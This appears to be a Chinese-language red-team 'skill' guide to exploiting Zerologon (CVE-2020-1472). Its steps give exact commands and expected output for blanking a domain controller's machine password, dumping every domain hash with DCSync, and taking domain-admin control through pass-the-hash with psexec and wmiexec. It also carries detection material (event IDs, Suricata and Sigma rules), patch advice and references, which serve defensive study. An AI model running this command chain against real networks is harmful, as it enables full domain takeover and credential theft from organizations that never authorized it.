用途
本技能用于在授权安全测试中利用 Zerologon 漏洞(CVE-2020-1472)。该漏洞是 Microsoft Netlogon 远程协议(MS-NRPC)中的严重权限提升漏洞(CVSS 10.0),允许未经认证且具有网络访问权限的攻击者重置域控制器机器账户密码为空,进而完全控制域。技能适用于红队演练、渗透测试、恶意软件分析及基于攻击技术理解构建检测能力。
主要能力
- 识别存在漏洞的域控制器
- 利用 Impacket 执行 Zerologon 攻击,将 DC 机器账户密码置空
- 使用空密码执行 DCSync 获取域内哈希
- 通过 Pass the Hash 获取域管理员访问权限
- 恢复机器账户密码(关键步骤)
- 提供 Windows 事件日志、网络流量及 Sigma 规则等检测方法
- 给出防御建议
使用方式
前置条件
- 网络访问域控制器(TCP 135 及动态 RPC 端口)
- 无需认证(未认证利用)
- 目标 DC 未启用 2021 年 2 月强制模式
- 已安装 Impacket 工具包
- 拥有红队演练的书面授权
步骤 1:识别脆弱域控制器
# 扫描域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# 使用 zerologon checker 检查 DC 是否脆弱
python3 zerologon_tester.py DC01 10.10.10.1
# 使用 CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
步骤 2:利用 Zerologon
# 使用 Impacket 的 CVE-2020-1472 利用脚本
# 将 DC 机器账户密码置空
python3 cve_2020_1472.py DC01$ 10.10.10.1
# 预期输出:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
步骤 3:使用空密码进行 DCSync
# 使用空哈希执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
# 输出包含所有域哈希:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# 或者仅导出特定账户
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
步骤 4:获取域管理员访问权限
# 使用 Administrator NTLM 进行 Pass the Hash
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
# 或使用 wmiexec 进行更隐蔽的访问
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
步骤 5:恢复机器账户密码(关键)
警告:利用 Zerologon 后,DC 机器账户密码为空,会破坏 Active Directory 复制和服务。必须恢复。
# 方法 1:使用利用脚本的恢复功能
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# 方法 2:从 DC 强制更改机器账户密码
# 以 Administrator 连接 DC 并运行:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# 方法 3:重启 DC(将自动重新生成机器密码)
# 这是最安全的方法,但会导致停机
检测
Windows 事件日志
- 事件 ID 4742:计算机账户被更改
- 关注:DC$ 账户密码更改
- 异常:短时间内 DC$ 出现多个 4742 事件
- 事件 ID 5805:Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试
- 事件 ID 4624(类型 3):网络登录
- DC$ 账户从意外 IP 登录
网络检测
# Suricata 规则
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma 规则
title: Zerologon Exploitation Attempt
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
适用场景
- 授权安全测试中利用 Zerologon 漏洞
- 在受控环境中分析恶意软件样本或攻击痕迹
- 红队演练或渗透测试
- 基于攻击技术理解构建检测能力
限制
- 仅限授权安全测试与教育用途。未经授权对非自有或未获书面许可的系统使用属违法行为,可能违反计算机欺诈法。
- 目标 DC 必须未启用 2021 年 2 月强制模式。
- 利用后必须恢复机器账户密码,否则会破坏 AD 复制和服务。
受影响系统
- Windows Server 2008 R2 至 Windows Server 2019
- 所有运行未修补 Netlogon 服务的域控制器
- Samba 版本 < 4.8(作为 AD DC 运行时)
防御建议
- 立即应用补丁 KB4571694(2020 年 8 月)并强制 2021 年 2 月模式
- 通过注册表启用强制模式:FullSecureChannelProtection = 1
- 监控事件 ID 5805 的重复 Netlogon 失败
- 部署 Microsoft Defender for Identity(自动检测 Zerologon)
- 网络分段——限制从用户网络直接访问 DC
- 尽可能阻止非 DC 系统的 Netlogon RPC
参考
- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24